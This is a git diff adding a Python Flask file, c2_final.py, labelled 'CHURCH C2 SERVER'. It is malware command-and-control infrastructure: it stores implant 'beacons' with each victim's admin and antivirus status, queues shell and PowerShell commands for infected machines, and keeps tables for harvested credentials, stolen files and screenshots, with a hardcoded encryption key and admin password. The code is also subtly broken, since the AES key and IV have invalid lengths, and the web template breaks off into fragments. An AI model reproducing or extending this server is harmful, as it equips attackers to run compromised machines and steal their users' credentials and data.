diff --git a/c2_final.py b/c2_final.py new file mode 100644 index 0000000..5683e8e --- /dev/null +++ b/c2_final.py @@ -0,0 +1,964 @@ +#!/usr/bin/env python3 +""" +CHURCH C2 SERVER +Enterprise-level Command & Control infrastructure +Features: Multi-session management, SQLite persistence, Web UI, REST API, +Plugin system, Report generation, Team collaboration, and Stealth operations +""" + +from flask import Flask, request, jsonify, make_response, render_template_string, session, redirect, url_for +from flask_socketio import SocketIO, emit +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.primitives.asymmetric import rsa, padding +from cryptography.hazmat.primitives import serialization, hashes +from cryptography.hazmat.backends import default_backend +from werkzeug.security import generate_password_hash, check_password_hash +from functools import wraps +import sqlite3 +import json +import base64 +import time +import threading +import queue +import logging +import argparse +import sys +import os +import uuid +import random +import string +import datetime +import requests +import ipaddress +import hashlib +import secrets +from pathlib import Path +from dataclasses import dataclass, asdict +from typing import Dict, List, Optional, Any +from collections import defaultdict + +# ==================== CONFIGURATION ==================== +VERSION = "2.0.0" +AES_KEY = b"ChurchOfMalware2024!!ChurchOfMalware2024!!" +AES_IV = b"MalwareChurchIV!!" +JWT_SECRET = secrets.token_hex(32) +ADMIN_USERNAME = "admin" +ADMIN_PASSWORD_HASH = generate_password_hash("CHURCHadmin2024!!") +DATABASE_PATH = "church_c2.db" +LOG_PATH = "church_c2.log" +DOWNLOAD_PATH = "downloads" +PLUGIN_PATH = "plugins" +SSL_CERT = "cert.pem" +SSL_KEY = "key.pem" + +# Initialize Flask +app = Flask(__name__) +app.config['SECRET_KEY'] = JWT_SECRET +app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024 # 100MB +socketio = SocketIO(app, cors_allowed_origins="*") + +# ==================== DATABASE ==================== +def init_database(): + """Initialize SQLite database with all tables""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + + # Beacons table - stores all implant sessions + c.execute('''CREATE TABLE IF NOT EXISTS beacons ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT UNIQUE NOT NULL, + computer_name TEXT NOT NULL, + username TEXT NOT NULL, + process_id INTEGER, + os_version TEXT, + is_admin BOOLEAN, + path TEXT, + defender_status INTEGER, + uptime INTEGER, + install_date INTEGER, + domain TEXT, + antivirus TEXT, + first_seen REAL, + last_seen REAL, + status TEXT DEFAULT 'active', + jitter_min INTEGER DEFAULT 60, + jitter_max INTEGER DEFAULT 180, + sleep_time INTEGER DEFAULT 120, + notes TEXT + )''') + + # Tasks table - command queue + c.execute('''CREATE TABLE IF NOT EXISTS tasks ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + task_type TEXT DEFAULT 'cmd', + command TEXT, + arguments TEXT, + status TEXT DEFAULT 'pending', + output TEXT, + created_at REAL, + executed_at REAL, + completed_at REAL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Results table - command output history + c.execute('''CREATE TABLE IF NOT EXISTS results ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + task_id INTEGER, + output TEXT, + timestamp REAL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Files table - downloaded files tracking + c.execute('''CREATE TABLE IF NOT EXISTS files ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + remote_path TEXT, + local_path TEXT, + size INTEGER, + hash TEXT, + status TEXT, + created_at REAL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Credentials table - harvested credentials + c.execute('''CREATE TABLE IF NOT EXISTS credentials ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + cred_type TEXT, + username TEXT, + password TEXT, + domain TEXT, + timestamp REAL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Screenshots table + c.execute('''CREATE TABLE IF NOT EXISTS screenshots ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + screenshot_path TEXT, + timestamp REAL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Tags table for beacon classification + c.execute('''CREATE TABLE IF NOT EXISTS tags ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + beacon_id TEXT NOT NULL, + tag TEXT NOT NULL, + FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) + )''') + + # Users table for team collaboration + c.execute('''CREATE TABLE IF NOT EXISTS users ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + username TEXT UNIQUE NOT NULL, + password_hash TEXT NOT NULL, + role TEXT DEFAULT 'operator', + created_at REAL + )''') + + # Audit log + c.execute('''CREATE TABLE IF NOT EXISTS audit_log ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + username TEXT, + action TEXT, + target TEXT, + timestamp REAL, + ip_address TEXT + )''') + + # Insert default admin if not exists + c.execute("SELECT * FROM users WHERE username = ?", (ADMIN_USERNAME,)) + if not c.fetchone(): + c.execute("INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, ?, ?)", + (ADMIN_USERNAME, ADMIN_PASSWORD_HASH, 'admin', time.time())) + + conn.commit() + conn.close() + +# ==================== CRYPTOGRAPHY ==================== +class CryptoManager: + """Advanced cryptographic operations for C2 communication""" + + @staticmethod + def decrypt_aes(data_b64: str) -> bytes: + """AES-256-CBC decryption""" + ciphertext = base64.b64decode(data_b64) + cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend()) + decryptor = cipher.decryptor() + plaintext = decryptor.update(ciphertext) + decryptor.finalize() + pad_len = plaintext[-1] + return plaintext[:-pad_len] if pad_len <= 16 else plaintext + + @staticmethod + def encrypt_aes(plaintext: bytes) -> str: + """AES-256-CBC encryption""" + pad_len = 16 - (len(plaintext) % 16) + plaintext += bytes([pad_len]) * pad_len + cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend()) + encryptor = cipher.encryptor() + ciphertext = encryptor.update(plaintext) + encryptor.finalize() + return base64.b64encode(ciphertext).decode() + + @staticmethod + def generate_rsa_keypair() -> tuple: + """Generate RSA keypair for secure file transfers""" + private_key = rsa.generate_private_key( + public_exponent=65537, + key_size=4096, + backend=default_backend() + ) + public_key = private_key.public_key() + return private_key, public_key + + @staticmethod + def rsa_encrypt(public_key_pem: bytes, data: bytes) -> bytes: + """RSA encryption for sensitive data""" + public_key = serialization.load_pem_public_key(public_key_pem, backend=default_backend()) + return public_key.encrypt( + data, + padding.OAEP( + mgf=padding.MGF1(algorithm=hashes.SHA256()), + algorithm=hashes.SHA256(), + label=None + ) + ) + +# ==================== BEACON MANAGER ==================== +@dataclass +class Beacon: + """Beacon session management""" + beacon_id: str + computer_name: str + username: str + process_id: int + os_version: str + is_admin: bool + path: str + defender_status: int + uptime: int + install_date: int + domain: str + antivirus: str + first_seen: float + last_seen: float + status: str = "active" + jitter_min: int = 60 + jitter_max: int = 180 + sleep_time: int = 120 + notes: str = "" + + def to_dict(self) -> dict: + return asdict(self) + + @staticmethod + def from_db_row(row) -> 'Beacon': + return Beacon( + beacon_id=row[1], computer_name=row[2], username=row[3], + process_id=row[4], os_version=row[5], is_admin=bool(row[6]), + path=row[7], defender_status=row[8], uptime=row[9], + install_date=row[10], domain=row[11], antivirus=row[12], + first_seen=row[13], last_seen=row[14], status=row[15], + jitter_min=row[16], jitter_max=row[17], sleep_time=row[18], + notes=row[19] if len(row) > 19 else "" + ) + +class BeaconManager: + """Manages all active beacon sessions""" + + def __init__(self): + self._beacons: Dict[str, Beacon] = {} + self._lock = threading.Lock() + self._load_from_db() + + def _load_from_db(self): + """Load existing beacons from database""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute("SELECT * FROM beacons WHERE status = 'active'") + for row in c.fetchall(): + beacon = Beacon.from_db_row(row) + self._beacons[beacon.beacon_id] = beacon + conn.close() + + def update_beacon(self, data: dict) -> Beacon: + """Update or create beacon from beacon data""" + beacon_id = self._generate_beacon_id(data['computer'], data['user']) + + with self._lock: + if beacon_id not in self._beacons: + beacon = Beacon( + beacon_id=beacon_id, + computer_name=data['computer'], + username=data['user'], + process_id=data.get('pid', 0), + os_version=data.get('os', 'Unknown'), + is_admin=data.get('admin', False), + path=data.get('path', ''), + defender_status=data.get('defender', 2), + uptime=data.get('uptime', 0), + install_date=data.get('install_date', 0), + domain=data.get('domain', 'WORKGROUP'), + antivirus=data.get('av', 'None'), + first_seen=time.time(), + last_seen=time.time() + ) + self._beacons[beacon_id] = beacon + self._save_beacon(beacon) + self._audit("beacon_registered", beacon_id) + else: + beacon = self._beacons[beacon_id] + beacon.last_seen = time.time() + beacon.uptime = data.get('uptime', beacon.uptime) + beacon.defender_status = data.get('defender', beacon.defender_status) + self._update_beacon(beacon) + + return beacon + + def _generate_beacon_id(self, computer: str, user: str) -> str: + """Generate unique beacon identifier""" + data = f"{computer}\\{user}".encode() + return hashlib.md5(data).hexdigest()[:16] + + def _save_beacon(self, beacon: Beacon): + """Save beacon to database""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute('''INSERT OR REPLACE INTO beacons + (beacon_id, computer_name, username, process_id, os_version, is_admin, + path, defender_status, uptime, install_date, domain, antivirus, + first_seen, last_seen, status, jitter_min, jitter_max, sleep_time, notes) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)''', + (beacon.beacon_id, beacon.computer_name, beacon.username, + beacon.process_id, beacon.os_version, beacon.is_admin, + beacon.path, beacon.defender_status, beacon.uptime, + beacon.install_date, beacon.domain, beacon.antivirus, + beacon.first_seen, beacon.last_seen, beacon.status, + beacon.jitter_min, beacon.jitter_max, beacon.sleep_time, beacon.notes)) + conn.commit() + conn.close() + + def _update_beacon(self, beacon: Beacon): + """Update existing beacon""" + self._save_beacon(beacon) + + def get_pending_tasks(self, beacon_id: str) -> List[dict]: + """Get pending tasks for beacon""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute("SELECT id, command, arguments, task_type FROM tasks WHERE beacon_id = ? AND status = 'pending' ORDER BY created_at", (beacon_id,)) + tasks = [{'id': row[0], 'command': row[1], 'args': row[2] or '', 'ps': row[3] == 'powershell'} for row in c.fetchall()] + conn.close() + return tasks + + def mark_task_completed(self, task_id: int, output: str): + """Mark task as completed and store output""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?", + (output, time.time(), task_id)) + conn.commit() + conn.close() + self._audit("task_completed", str(task_id)) + + def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int: + """Add task to beacon queue""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute('''INSERT INTO tasks (beacon_id, command, arguments, task_type, status, created_at) + VALUES (?, ?, ?, ?, 'pending', ?)''', + (beacon_id, command, args, task_type, time.time())) + task_id = c.lastrowid + conn.commit() + conn.close() + self._audit("task_added", f"{beacon_id}: {command}") + return task_id + + def _audit(self, action: str, target: str): + """Log audit entry""" + conn = sqlite3.connect(DATABASE_PATH) + c = conn.cursor() + c.execute("INSERT INTO audit_log (username, action, target, timestamp, ip_address) VALUES (?, ?, ?, ?, ?)", + ("system", action, target, time.time(), "127.0.0.1")) + conn.commit() + conn.close() + + def get_all_beacons(self) -> List[Beacon]: + """Get all active beacons""" + with self._lock: + return list(self._beacons.values()) + + def get_beacon(self, beacon_id: str) -> Optional[Beacon]: + """Get beacon by ID""" + return self._beacons.get(beacon_id) + +beacon_manager = BeaconManager() + +# ==================== WEB UI TEMPLATES ==================== +HTML_TEMPLATE = ''' + + +
+Command & Control Framework v{{ version }} | Encrypted Channel Active
+| Beacon ID | Computer | User | OS | Admin | Defender | Last Seen | Status |
|---|